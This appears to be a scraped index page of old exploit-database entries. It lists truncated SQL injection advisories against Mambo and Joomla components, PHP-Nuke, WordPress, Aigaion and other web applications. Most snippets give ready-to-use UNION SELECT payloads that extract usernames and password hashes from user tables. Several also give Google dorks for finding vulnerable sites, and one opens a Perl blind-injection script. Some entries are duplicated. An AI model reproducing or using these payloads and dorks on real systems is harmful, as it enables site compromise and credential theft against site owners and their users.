Mambo Component com_downloads - SQL Injection

joomla SQL Injectioncomdownloadsfilecatid AUTHOR : S@BUN HOME : http://www.hackturkiye.com DORKS 1 : allinurl :"comdownloads"filecatid EXPLOIT :...

Joomla Component mosDirectory 2.3.2 (catid) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Joomla Component mosDirectory 2.3.2 catid SQL Injection Vulnerability ======================================================================= Joomla Component...

joomlaneo-sql.txt

joomla SQL Injectioncomneoreferences AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "comneoreferences" EXPLOIT : index.php?option=comneoreferences&Itemid=27&catid=99887766//union//select//concatusername,0x3a,password//from//josusers/%20where%20userid=1=1/ S@BUN...

Mambo Component Restaurant 1.0 Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= Mambo Component Restaurant 1.0 Remote SQL Injection Vulnerability ================================================================= joomla SQL Injectioncomrestaurant DorKs 1...

Mambo Component Catalogshop 1.0b1 SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= Mambo Component Catalogshop 1.0b1 SQL Injection Vulnerability ============================================================= joomla SQL Injectioncomcatalogshop DorKs 1 : allinurl...

Mambo Component jokes 1.0 - 'cat' SQL Injection

joomla SQL Injectioncomjokes AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "comjokes" EXPLOIT : index.php?option=comjokes&Itemid=S@BUN&func=CatView&cat=-776655//union//select//0,1,2,3,username,5,password,7,8//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOOD LUCKY...

Mambo Component com_mamml - listid SQL Injection

Mambo Component commamml - listid SQL Injection joomla SQL Injectioncommamml AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "commamml" EXPLOIT : index.php?option=commamml&listid=9999999//union//select//name,password//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOO...

Mambo Component 'com_newsletter' 4.5 - 'listid' SQL Injection

joomla SQL Injectioncomnewsletter AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "comnewsletter" EXPLOIT : index.php?option=comnewsletter&Itemid=S@BUN&listid=9999999//union//select//name,password//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOOD LUCKY S@BUN notes:...

Mambo Component 'com_mamml' - 'listid' SQL Injection

joomla SQL Injectioncommamml AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DorKs 1 : allinurl: "commamml" EXPLOIT : index.php?option=commamml&listid=9999999//union//select//name,password//from//mosusers/ S@BUN www.hackturkiye.com S@BUN S@BUN GOOD LUCKY S@BUN milw0rm.com 2008-01-29...

MTCMS 2.0 - SQL Injection

MTCMS 2.0 - SQL Injection ...:::::MTCMS =2.0 SQL Injection Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By :hadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all iranian hackerz greetz:to my best friend in...

wallpaper-sql.txt

. . NN NNNN JNNN NNNN. NNN NNNNNNNNNNN NN NN NNN.NNNF .NNNNN NN """4NNN""" NN NN NNNNNN NNNNN NNN NNN NN NN 4NNNN NNNNNN.NNF NNN NN NN JNNNNL NN NNNNNN NNN NN NN JNNNNNN JNN NNNNN JNNF NN NN .NNNF NNN. NNN 4NNN NNN NN NN JNNN NNNN NN NNN NNN NN NN NN . http://xaker.name . script name : Wallpaper...

PHP-Nuke Module Advertising Blind SQL Injection

!/usr/bin/perl Product: PHP-Nuke Module Advertising BugFounder: 0x90 HomePage: WwW.0x90.COM.Ar Problem: Blind SQL Injection use strict; use warnings; use LWP; use Time::HiRes; use IO::Socket; my $host = "http://url/modules.php?name=Advertising"; my $useragent = LWP::UserAgent-new; my $metodo =...

GetMyOwnArcade - 'search.php?query' SQL Injection

GetMyOwnArcade search.php $query SQL-Injection Discovered By: RoXur777 August 11th 2007 Google-Dork: "Powered by GetMyOwnArcade" / $query is not being filtered before getting passed to a query. Therefore, we can inject SQL code into the SQL-Query. Using UNION-SELECT we can obtain member...

GetMyOwnArcade - search.php?query SQL Injection

GetMyOwnArcade - search.php?query SQL Injection GetMyOwnArcade search.php $query SQL-Injection Discovered By: RoXur777 August 11th 2007 Google-Dork: "Powered by GetMyOwnArcade" / $query is not being filtered before getting passed to a query. Therefore, we can inject SQL code into the SQL-Query...

[Aria-Security] Image Racer SearchResults.asp SQL INJECTION vuln.

Aria-Security Team Image Racer SearchResults.asp SQL Injection Vendor: http://www.junctionquest.com/Software.asp Example: http://www.TARGET.com/SearchResults.asp?SearchWord=SQL COMMAND&WordSearchCrit=Yes&image.x=0&image.y=0 Example : -1 'union select username,password from admin where FIND IT YOU...

aigaion-sql.txt

--==+================================================================================+==-- --==+ Aigaion = 1.3.3 SQL Injection Exploit +==-- --==+================================================================================+==-- DISCOVERED BY: Cody "CypherXero" Rester PAYLOAD: Admin username a...

Aigaion 1.3.3 - topic topic_id SQL Injection

Aigaion 1.3.3 - topic topicid SQL Injection --==+================================================================================+==-- --==+ Aigaion = 1.3.3 SQL Injection Exploit +==-- --==+================================================================================+==-- DISCOVERED BY: Cody...

XLAtunes 0.1 - album SQL Injection

XLAtunes 0.1 - album SQL Injection Critical Status:High Found By:Bl0od3r Download:http://www.scriptdungeon.com/script.php?ScriptID=2844 Greetz:all my friends fuckz:Donh4cky0u for steeling hacks of others,for his 100% noobility,for his noobass.DON your an idiot.fucka. - confkey-Password...

WordPress Charset解抹SQL注入漏洞

WordPress是一款流行的网络日记程序。 WordPress处理字符集解码存在问题，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 在当PHP的mbstring扩展激活时，WordPress支持使用不同字符集解码Trackback，因为解码发送在数据库为输入数据执行选择正确的字符集之前，因此允许绕过针对SQL注入的保护。 为了演示需要，Stefan Esser建议使用UTF-7字符集来利用，因为其他的多字节字符集允许多字节序列以''结尾。...

Acronym Mod v0.9.5 Remote SQL Injection Vulnerability

Acronym Mod v0.9.5 Remote SQL Injection Vulnerability Download: http://www.codemonkeyx.net Found By: the master exploit: http://Target/Path/admin/adminacronyms.php?mode=edit&id=-120UNION20SELECT20null,userpassword,null20FROM20phpbbusers20where20userid=2&sid=AdminHash Greetz: str0ke , Dr Max Virus...